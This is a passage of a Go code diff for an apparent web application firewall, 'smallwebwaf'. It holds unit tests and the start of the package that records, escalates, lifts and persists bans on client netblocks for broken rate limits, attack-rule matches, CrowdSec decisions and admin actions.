+	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
+}
+
+func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
+	t.Parallel()
+
+	rules := defaultRules()
+	rules.MaxBans = 2
+	ledger := bans.New(rules)
+	netblock := netip.MustParsePrefix("203.0.113.1/32")
+	other := netip.MustParsePrefix("203.0.113.2/32")
+
+	// An admin bans the netblock for a minute, and it then breaks a limit
+	// twice, each time after its last ban has ended.
+	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
+		"probes for logins")
+	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	// A ban on another netblock fills the ledger, and the netblock's first
+	// ban for a limit, its earliest that is not an admin's, goes.
+	ledger.BanForLimit(other, second.Start, bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
+
+	// The netblock's next ban still counts it.
+	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
+	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
+		t.Errorf("the third ban for a limit has earlier bans %+v, "+
+			"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
+	}
+}
+
+func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.1/32")
+
+	// The netblock breaks a limit twice, the second time after its first
+	// ban has ended, and the second ban's notes count the first. An admin
+	// then keeps the first ban.
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	kept := first
+	kept.Cause = bans.CauseAdmin
+	ledger.LoadEdit([]bans.Ban{kept, second})
+
+	// The netblock's next ban counts the kept ban once, as an admin's.
+	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
+	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
+		t.Errorf("the third ban for a limit has earlier bans %+v, "+
+			"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
+	}
+}
+
+func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+
+	limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
+		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
+	byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
+		midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
+	attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
+		bans.Notes{RuleID: "git-dir", Target: "path"})
+
+	for _, tc := range []struct{ got, want string }{
+		{limit.Reason, "requests per minute over the limit of 1000"},
+		{byteLimit.Reason, "bytes per hour over the limit of 10737418240"},
+		{attack.Reason, "matched the rule git-dir"},
+	} {
+		if tc.got != tc.want {
+			t.Errorf("the reason is %q, want %q", tc.got, tc.want)
+		}
+	}
+}
+
+func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
+	t.Parallel()
+
+	// An hour's ban lifted ten minutes after it started.
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	lifted := bans.Ban{
+		Netblock: netblock,
+		Start:    midnight(),
+		Expires:  midnight().Add(time.Hour),
+		Cause:    bans.CauseLimit,
+		Lifted:   midnight().Add(10 * time.Minute),
+	}
+
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{lifted})
+
+	// While it would still last, it refuses nothing, and a limit broken
+	// bans for an hour, as a first broken limit does; the lifted ban is
+	// kept, and counted among the earlier bans.
+	now := midnight().Add(30 * time.Minute)
+
+	_, banned, _ := ledger.Check(netblock.Addr(), now)
+	if banned {
+		t.Error("the lifted ban refuses")
+	}
+
+	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+	if ban.Expires.Sub(ban.Start) != time.Hour ||
+		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
+			ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
+	}
+
+	held := ledger.Bans(netblock)
+	if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
+		t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
+	}
+}
+
+func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
+	t.Parallel()
+
+	// A permanent ban for a clear sign of attack, lifted.
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{{
+		Netblock: netblock,
+		Start:    midnight(),
+		Cause:    bans.CauseAttack,
+		Lifted:   midnight().Add(time.Hour),
+	}})
+
+	now := midnight().Add(2 * time.Hour)
+
+	_, banned, _ := ledger.Find(netblock.Addr(), now)
+	if banned {
+		t.Error("the lifted ban refuses")
+	}
+
+	active, permanent := ledger.Count(now)
+	if active != 0 || permanent != 0 {
+		t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
+	}
+
+	// The next clear sign of attack bans for seven days, as a first does.
+	ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
+	if ban.Expires.Sub(ban.Start) != 7*day {
+		t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
+	}
+}
+
+func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
+		bans.Notes{})
+	atStart := bans.Ban{
+		Netblock: netip.MustParsePrefix("203.0.113.2/32"),
+		Start:    midnight(),
+	}
+
+	// The bans read at the start were made before it.
+	ledger.Load([]bans.Ban{made, atStart})
+
+	if got := ledger.Made(bans.CauseAdmin); got != 0 {
+		t.Fatalf("%d bans made by an admin after the start's, want none", got)
+	}
+
+	// The admin keeps the ban smallwebwaf made, keeps the one read at the
+	// start, and adds one without a cause: that one alone is made.
+	kept := made
+	kept.Cause = bans.CauseAdmin
+	added := bans.Ban{
+		Netblock: netip.MustParsePrefix("203.0.113.3/32"),
+		Start:    midnight(),
+	}
+	ledger.LoadEdit([]bans.Ban{kept, atStart, added})
+
+	if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
+		t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
+			ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
+	}
+}
+
+func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
+	t.Parallel()
+
+	netblock := netip.MustParsePrefix("203.0.113.0/24")
+	ledger := bans.New(defaultRules())
+
+	// An hour's ban for a broken limit.
+	ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	wantChanged(t, ledger, true)
+
+	// A minute later an admin bans the netblock for good, named by an
+	// address in it: that ban is made, and counts the other among the
+	// earlier bans.
+	now := midnight().Add(time.Minute)
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    now,
+		Cause:    bans.CauseAdmin,
+		Reason:   "probes for logins",
+		Notes:    bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
+	}
+
+	got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
+		"probes for logins")
+	if !reflect.DeepEqual(got, want) {
+		t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantChanged(t, ledger, true)
+
+	if made := ledger.Made(bans.CauseAdmin); made != 1 {
+		t.Errorf("%d bans made by an admin, want 1", made)
+	}
+
+	// It refuses once the ban for the limit has ended.
+	ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
+	if !banned || !reflect.DeepEqual(ban, want) {
+		t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
+			ban, banned, want)
+	}
+}
+
+func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
+	t.Parallel()
+
+	client := netip.MustParseAddr("203.0.113.9")
+	own := netip.MustParsePrefix("203.0.113.9/32")
+	wide := netip.MustParsePrefix("203.0.113.0/24")
+	other := netip.MustParsePrefix("203.0.113.10/32")
+
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{
+		// Ended an hour ago.
+		{
+			Netblock: own, Start: midnight().Add(-2 * time.Hour),
+			Expires: midnight().Add(-time.Hour), Cause: bans.CauseLimit,
+		},
+		// Active, on the client's address and on its /24.
+		{
+			Netblock: own, Start: midnight(), Expires: midnight().Add(time.Hour),
+			Cause: bans.CauseLimit,
+		},
+		{Netblock: wide, Start: midnight(), Cause: bans.CauseAdmin},
+		// Another client's.
+		{Netblock: other, Start: midnight(), Cause: bans.CauseAdmin},
+	})
+
+	now := midnight().Add(time.Minute)
+
+	lifted := ledger.Lift(client, now)
+	if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
+		t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
+	}
+
+	wantChanged(t, ledger, true)
+
+	if _, banned, _ := ledger.Check(client, now); banned {
+		t.Error("the client is still banned")
+	}
+
+	if _, banned, _ := ledger.Check(other.Addr(), now); !banned {
+		t.Error("the other client's ban was lifted")
+	}
+
+	// The lifted bans are kept, and the one that had ended is not lifted.
+	covering := ledger.Covering(client)
+	if len(covering) != 3 || covering[0].Netblock != wide ||
+		!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
+		t.Errorf("the bans covering the client are %+v, want the /24's and both "+
+			"of its own, the earlier not lifted", covering)
+	}
+
+	// With none active, nothing is lifted or changed.
+	if lifted = ledger.Lift(client, now); len(lifted) != 0 {
+		t.Errorf("lifted %+v again", lifted)
+	}
+
+	wantChanged(t, ledger, false)
+}

internal/bans/bans.go

@@ -0,0 +1,920 @@
+// Package bans is the ban ledger: the bans smallwebwaf makes on the
+// netblocks of clients that break a rate limit, a byte limit or the error
+// burst, show a clear sign of attack or are listed by the CrowdSec
+// decision list, and
+// those an admin makes, with their notes, as the "Bans" section of SPEC.md
+// describes. The bans are kept in memory, and written to bans.json and
+// read from it by the state package.
+package bans
+
+import (
+	"fmt"
+	"math"
+	"net/netip"
+	"slices"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+)
+
+// The causes of bans.
+const (
+	// CauseLimit is a ban smallwebwaf made for a broken limit.
+	CauseLimit = "limit"
+	// CauseAttack is a ban smallwebwaf made for a clear sign of attack.
+	CauseAttack = "attack"
+	// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
+	// admin keeps. It is never dropped.
+	CauseAdmin = "admin"
+	// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
+	// decision list lists. It ends when CrowdSec's decision does.
+	CauseCrowdSec = "crowdsec"
+)
+
+// repeatFactor is how many times as long as the netblock's last ban a ban
+// for a limit broken again within the repeat window lasts.
+const repeatFactor = 3
+
+// maxTextBytes is how much of each text in a ban's notes is kept.
+const maxTextBytes = 256
+
+// Rules are how long a ban lasts, and how many bans are held.
+type Rules struct {
+	// LimitBanDuration is how long a first ban for a broken limit lasts.
+	LimitBanDuration time.Duration
+	// LimitBanRepeatWindow is how soon after the end of the netblock's
+	// ban that ended last, other than one for a clear sign of attack or for
+	// CrowdSec's decision, a broken limit counts as a repeat, which bans for
+	// repeatFactor times as long as that ban.
+	LimitBanRepeatWindow time.Duration
+	// MaxBanDuration is the longest ban for a broken limit; one that would
+	// be longer is permanent instead.
+	MaxBanDuration time.Duration
+	// AttackBanDuration is how long a first ban for a clear sign of attack
+	// lasts.
+	AttackBanDuration time.Duration
+	// MaxBans is the most bans held whose cause is not CauseAdmin, at
+	// least one. Past it, the earliest such ban of the netblock that has
+	// gone longest without a request is dropped. Bans whose cause is
+	// CauseAdmin are held besides, and never dropped.
+	MaxBans int
+}
+
+// Ban is a ban on a netblock.
+type Ban struct {
+	Netblock netip.Prefix
+	Start    time.Time
+	// Expires is when the ban ends, zero for a permanent ban.
+	Expires time.Time
+	// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
+	Cause string
+	// Reason is a short text: for a ban smallwebwaf made, the limit broken,
+	// the rule that matched or the scenario of CrowdSec's decision; for an
+	// admin's, what the admin wrote.
+	Reason string
+	// Lifted is when an admin lifted the ban, zero while no admin has. A
+	// lifted ban refuses nothing, and does not make the netblock's next
+	// ban longer.
+	Lifted time.Time
+	Notes  Notes
+}
+
+// Permanent reports whether the ban never runs out.
+func (b Ban) Permanent() bool {
+	return b.Expires.IsZero()
+}
+
+// ActiveAt reports whether the ban refuses requests at now: it has not
+// been lifted, and has not run out.
+func (b Ban) ActiveAt(now time.Time) bool {
+	return b.Lifted.IsZero() && (b.Permanent() || now.Before(b.Expires))
+}
+
+// Notes are what an admin needs to decide whether to lift a ban. The
+// JSON names are those of bans.json.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Notes struct {
+	// ASN, ASName and Country are the client's AS number, AS name and
+	// country, when they were looked up: when the request that caused the
+	// ban was made, or when GeoJS answered about the client afterwards.
+	ASN     string `json:"asn"`
+	ASName  string `json:"as_name"`
+	Country string `json:"country"`
+	// Kind, Limit, Window and Count are, for a ban for a broken limit,
+	// what the limit was on, "requests" for a rate limit, "bytes" for a
+	// byte limit or "refusals" for the error burst, the limit that was
+	// broken, its window, "minute", "hour" or "day", and the count reached:
+	// the client's requests, bytes or refusals in the window, those of the
+	// request that broke the limit included.
+	// These are what counted toward the ban, and the window is the time
+	// over which they came.
+	Kind   string  `json:"kind,omitempty"`
+	Limit  int64   `json:"limit,omitempty"`
+	Window string  `json:"window,omitempty"`
+	Count  float64 `json:"count,omitempty"`
+	// LimitPercent and LimitPercentSetting are, for a ban for a limit a
+	// biased threshold lowered, the client's percentage of that kind of
+	// limit, of which Limit is the result, and the setting that gave it.
+	// Both are left out for a limit that was not lowered.
+	LimitPercent        *int64 `json:"limit_percent,omitempty"`
+	LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
+	// RuleID and Target are, for a ban for a clear sign of attack, the id
+	// of the rule file rule that matched, and its target; TrapPath is, for
+	// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
+	// client sent it.
+	RuleID   string `json:"rule_id,omitempty"`
+	Target   string `json:"target,omitempty"`
+	TrapPath string `json:"trap_path,omitempty"`
+	// Reputation is the reputation sources that listed the client when
+	// the request that caused the ban was made, in the order the request
+	// log's reputation names them. It is left out when none did.
+	Reputation []ReputationHit `json:"reputation,omitempty"`
+	// Request is the request that broke the limit, or whose bytes broke
+	// it, that was the clear sign of attack, or that came from a client the
+	// CrowdSec decision list lists.
+	Request Request `json:"request"`
+	// Requests is how many requests the netblock has sent since it was
+	// first seen, and Refused how many of them the ban has refused so
+	// far. Both go up with each request the ban refuses.
+	Requests int64 `json:"requests"`
+	Refused  int64 `json:"refused"`
+	// EarlierBans is how many bans the netblock had before this one, by
+	// cause.
+	EarlierBans EarlierBans `json:"earlier_bans"`
+}
+
+// ReputationHit is a reputation source that listed a client, as a
+// reputation_hit alert's detail gives it: Source is the URL of the
+// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
+// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
+// client.
+type ReputationHit struct {
+	Source string `json:"source"`
+	Score  *int64 `json:"score,omitempty"`
+}
+
+// EarlierBans counts a netblock's bans before a ban, by cause.
+type EarlierBans struct {
+	Limit    int `json:"limit"`
+	Attack   int `json:"attack"`
+	Admin    int `json:"admin"`
+	CrowdSec int `json:"crowdsec"`
+}
+
+// Request is a request in a ban's notes. Each text is cut to 256 bytes.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Request struct {
+	Time   time.Time `json:"time"`
+	Method string    `json:"method"`
+	Host   string    `json:"host"`
+	// Path is the path with its query string.
+	Path string `json:"path"`
+	// Status is what the client was sent, 0 if nothing was.
+	Status    int    `json:"status"`
+	UserAgent string `json:"user_agent"`
+}
+
+// Ledger holds the bans. It is safe for concurrent use.
+type Ledger struct {
+	rules Rules
+	// changed receives a value when a ban is made, unless one is waiting
+	// already.
+	changed chan struct{}
+
+	mu sync.Mutex
+	// netblocks holds each banned netblock's bans, oldest first. Check and
+	// Find make each netblock they find the most recently seen.
+	netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
+	// held is how many bans netblocks holds whose cause is not CauseAdmin,
+	// at most rules.MaxBans.
+	held int
+	// made is how many bans have been made since the start, by cause: by
+	// the ledger, and by an admin, through BanForAdmin or in an edit of
+	// bans.json.
+	made map[string]int
+	// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
+	// netblocks that have been banned. Check looks for a ban at each of
+	// them, so that a ban read from bans.json refuses every client in its
+	// netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX,
+	// or another length of an IPv6 client's netblock.
+	v4Lengths, v6Lengths []int
+}
+
+// New returns a Ledger with no ban yet.
+func New(rules Rules) *Ledger {
+	// The ledger drops bans itself, and never those whose cause is
+	// CauseAdmin, however many there are, so the LRU has no limit of its
+	// own: it keeps the netblocks in the order they were last seen.
+	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &Ledger{
+		rules:     rules,
+		changed:   make(chan struct{}, 1),
+		netblocks: netblocks,
+		made:      map[string]int{},
+	}
+}
+
+// Changed receives a value after a ban is made, lifted or made permanent,
+// so that bans.json can be written. Several changes before it is read
+// leave one value.
+func (l *Ledger) Changed() <-chan struct{} {
+	return l.changed
+}
+
+// Check is called for a request from client, at now. It reports whether
+// a ban on a netblock client is in is active, and returns that ban, with
+// the request counted among those it refused. A ban for a clear sign of
+// attack is made permanent by the request: the netblock is malicious.
+// The last result reports whether the request made the ban permanent.
+func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	ban := l.active(client, now)
+	if ban == nil {
+		return Ban{}, false, false
+	}
+
+	ban.Notes.Requests++
+	ban.Notes.Refused++
+
+	madePermanent := ban.Cause == CauseAttack && !ban.Permanent()
+	if madePermanent {
+		ban.Expires = time.Time{}
+
+		l.markChanged()
+	}
+
+	return *ban, true, madePermanent
+}
+
+// Find is Check without counting the request among those the ban
+// refused, and without making the ban permanent: in observe mode a ban
+// refuses nothing. The last result reports whether Check would have made
+// the ban permanent.
+func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	ban := l.active(client, now)
+	if ban == nil {
+		return Ban{}, false, false
+	}
+
+	return *ban, true, ban.Cause == CauseAttack && !ban.Permanent()
+}
+
+// activeBan returns the ban in bans, a netblock's bans oldest first, that
+// is active at now, or nil when none is. If several are, it returns the
+// one that started last. Every ban is looked at, since a ban an admin adds
+// to bans.json can start before the netblock's others and outlast them.
+func activeBan(bans []Ban, now time.Time) *Ban {
+	for i := len(bans) - 1; i >= 0; i-- {
+		if bans[i].ActiveAt(now) {
+			return &bans[i]
+		}
+	}
+
+	return nil
+}
+
+// BanForLimit bans netblock at now for a broken limit, with notes, and
+// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
+// made within LimitBanRepeatWindow after the netblock's ban that ended
+// last, other than one for a clear sign of attack or for CrowdSec's
+// decision, or a lifted one, lasts
+// repeatFactor times as long as that one. A ban that would be longer
+// than MaxBanDuration is permanent instead. If a ban on netblock is still
+// active, as when two of its requests break a limit at once, that ban is
+// returned with false, and no other is made. The ledger fills in the
+// notes' Refused and EarlierBans itself, and gives the ban the reason
+// "<Kind> per <Window> over the limit of <Limit>", from the notes, such
+// as "requests per minute over the limit of 1000".
+func (l *Ledger) BanForLimit(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
+}
+
+// WouldBanForLimit returns what BanForLimit would, without making the ban:
+// what observe mode would have done.
+func (l *Ledger) WouldBanForLimit(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
+}
+
+// BanForAttack bans netblock at now for a clear sign of attack, with
+// notes, and returns the ban, and whether it made it, as BanForLimit
+// does. A first ban lasts AttackBanDuration; once the netblock has had
+// one that was not lifted, the next is permanent. Its reason is "matched
+// the rule <RuleID>", or "asked for the trap path <TrapPath>".
+func (l *Ledger) BanForAttack(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
+}
+
+// WouldBanForAttack returns what BanForAttack would, without making the
+// ban: what observe mode would have done.
+func (l *Ledger) WouldBanForAttack(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
+		false)
+}
+
+// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
+// decision on the client ends, with notes, and returns the ban, and
+// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
+// decision for <scenario>", the scenario that made the decision.
+func (l *Ledger) BanForCrowdSec(
+	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
+		true)
+}
+
+// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
+// the ban: what observe mode would have done.
+func (l *Ledger) WouldBanForCrowdSec(
+	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
+		false)
+}
+
+// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
+// CauseAttack or CauseCrowdSec, made at now would be permanent, as
+// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
+// nothing else of the ban. A ban for CrowdSec's decision is never
+// permanent: it ends with the decision.
+func (l *Ledger) WouldBePermanent(
+	netblock netip.Prefix, now time.Time, cause string,
+) bool {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	var held []Ban
+	if bans, found := l.netblocks.Peek(netblock); found {
+		held = *bans
+	}
+
+	switch cause {
+	case CauseAttack:
+		return l.attackExpiry(held, now).IsZero()
+	case CauseLimit:
+		return l.limitExpiry(held, now).IsZero()
+	default: // CauseCrowdSec
+		return false
+	}
+}
+
+// limitReason is the reason of a ban for a broken limit, with notes.
+func limitReason(notes Notes) string {
+	return fmt.Sprintf("%s per %s over the limit of %d",
+		notes.Kind, notes.Window, notes.Limit)
+}
+
+// attackReason is the reason of a ban for a clear sign of attack, with
+// notes.
+func attackReason(notes Notes) string {
+	if notes.TrapPath != "" {
+		return "asked for the trap path " + notes.TrapPath
+	}
+
+	return "matched the rule " + notes.RuleID
+}
+
+// crowdSecReason is the reason of a ban for CrowdSec's decision, which
+// scenario made.
+func crowdSecReason(scenario string) string {
+	return "CrowdSec's decision for " + scenario
+}
+
+// BanForAdmin bans netblock at now for an admin, with reason, until
+// expires, or for good when expires is zero, and returns the ban, whose
+// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
+// ban even while another on netblock is active, since the admin asked
+// for this one. The ledger fills in the notes' EarlierBans, and counts
+// the ban among those made.
+func (l *Ledger) BanForAdmin(
+	netblock netip.Prefix, now, expires time.Time, reason string,
+) Ban {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	ban := Ban{
+		Netblock: netblock.Masked(), Start: now, Expires: expires, Cause: CauseAdmin,
+		Reason: reason,
+	}
+
+	held, found := l.netblocks.Get(ban.Netblock)
+	if found {
+		ban.Notes.EarlierBans = earlierBans(*held)
+	}
+
+	l.add(ban)
+	l.made[CauseAdmin]++
+	l.markChanged()
+
+	return ban
+}
+
+// Lift lifts, at now, every ban active then on a netblock client is in,
+// as an admin does, and returns those bans. A lifted ban is kept, refuses
+// nothing, and does not make the netblock's next ban longer.
+func (l *Ledger) Lift(client netip.Addr, now time.Time) []Ban {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	var lifted []Ban
+
+	for _, bans := range l.covering(client) {
+		for i := range *bans {
+			ban := &(*bans)[i]
+			if ban.ActiveAt(now) {
+				ban.Lifted = now
+				lifted = append(lifted, *ban)
+			}
+		}
+	}
+
+	if len(lifted) > 0 {
+		l.markChanged()
+	}
+
+	return lifted
+}
+
+// Covering returns every ban held on a netblock client is in, active or
+// not, sorted by netblock, and each netblock's bans oldest first. It is
+// not a request from client, and leaves when the netblocks were last seen
+// unchanged.
+func (l *Ledger) Covering(client netip.Addr) []Ban {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	var held []Ban
+	for _, bans := range l.covering(client) {
+		held = append(held, *bans...)
+	}
+
+	slices.SortStableFunc(held, func(a, b Ban) int {
+		return a.Netblock.Compare(b.Netblock)
+	})
+
+	return held
+}
+
+// Bans returns the bans held on netblock, oldest first. It is not a
+// request from netblock, and leaves when it was last seen unchanged.
+func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	bans, found := l.netblocks.Peek(netblock)
+	if !found {
+		return nil
+	}
+
+	return slices.Clone(*bans)
+}
+
+// AddLookup gives the notes of netblock's bans that have no AS number, AS
+// name or country yet those of a client in it, as the lookup answered
+// about it. It is not a request from netblock, and leaves when it was last
+// seen unchanged. It does not have bans.json written at once: the notes
+// are written with its next write, as the counts in them are.
+func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	bans, found := l.netblocks.Peek(netblock)
+	if !found {
+		return
+	}
+
+	for i := range *bans {
+		notes := &(*bans)[i].Notes
+		if notes.ASN == "" && notes.ASName == "" && notes.Country == "" {
+			notes.ASN, notes.ASName, notes.Country = asn, asName, country
+		}
+	}
+}
+
+// Made returns how many bans for cause have been made since the start:
+// for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an
+// admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts
+// them. The bans read from bans.json at the start are not among them.
+func (l *Ledger) Made(cause string) int {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	return l.made[cause]
+}
+
+// Count returns how many of the bans held are active at now, and how many
+// of those are permanent. A lifted ban is neither.
+func (l *Ledger) Count(now time.Time) (int, int) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	active, permanent := 0, 0
+
+	for _, bans := range l.netblocks.Values() {
+		for _, ban := range *bans {
+			if !ban.ActiveAt(now) {
+				continue
+			}
+
+			active++
+
+			if ban.Permanent() {
+				permanent++
+			}
+		}
+	}
+
+	return active, permanent
+}
+
+// Snapshot returns every ban held, sorted by netblock, and each
+// netblock's bans oldest first, as bans.json lists them.
+func (l *Ledger) Snapshot() []Ban {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	held := make([]Ban, 0, l.held)
+	for _, bans := range l.netblocks.Values() {
+		held = append(held, *bans...)
+	}
+
+	slices.SortStableFunc(held, func(a, b Ban) int {
+		return a.Netblock.Compare(b.Netblock)
+	})
+
+	return held
+}
+
+// Load puts bans read from bans.json at the start into the ledger, in
+// place of the bans it holds, in the order they started, so that a
+// netblock whose last ban started latest counts as the most recently
+// seen. A ban without a cause is an admin's, and gets CauseAdmin. Each
+// netblock is masked to its length, so that 203.0.113.9/24 is
+// 203.0.113.0/24, and each text in the notes is cut to 256 bytes. Past
+// MaxBans the earliest bans whose cause is not CauseAdmin are dropped, as
+// when they are made.
+func (l *Ledger) Load(bans []Ban) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	l.load(bans)
+}
+
+// LoadEdit is Load for an admin's edit of bans.json, taken in while
+// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which
+// the ledger did not hold, with the same netblock and start, is one the
+// admin made, and is counted among the bans made.
+func (l *Ledger) LoadEdit(bans []Ban) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	l.made[CauseAdmin] += l.load(bans)
+}
+
+// load does what Load describes, and returns how many of bans are bans
+// whose cause is CauseAdmin that the ledger did not hold before.
+func (l *Ledger) load(bans []Ban) int {
+	bans = slices.Clone(bans)
+	added := 0
+
+	for i := range bans {
+		ban := &bans[i]
+		ban.Netblock = ban.Netblock.Masked()
+		ban.Notes.Request = ban.Notes.Request.cut()
+
+		if ban.Cause == "" {
+			ban.Cause = CauseAdmin
+		}
+
+		if ban.Cause == CauseAdmin && !l.holds(ban.Netblock, ban.Start) {
+			added++
+		}
+	}
+
+	slices.SortStableFunc(bans, func(a, b Ban) int {
+		return a.Start.Compare(b.Start)
+	})
+
+	l.netblocks.Purge()
+	l.held = 0
+	l.v4Lengths, l.v6Lengths = nil, nil
+
+	for _, ban := range bans {
+		l.add(ban)
+	}
+
+	return added
+}
+
+// holds reports whether the ledger holds a ban on netblock that started
+// at start.
+func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
+	bans, found := l.netblocks.Peek(netblock)
+
+	return found && slices.ContainsFunc(*bans, func(ban Ban) bool {
+		return ban.Start.Equal(start)
+	})
+}
+
+// ban bans netblock at now for cause, with reason and notes, as
+// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
+// ban, and whether it made it. expires is when a ban for CauseCrowdSec
+// ends, and zero for the others, whose end the ledger works out. Unless
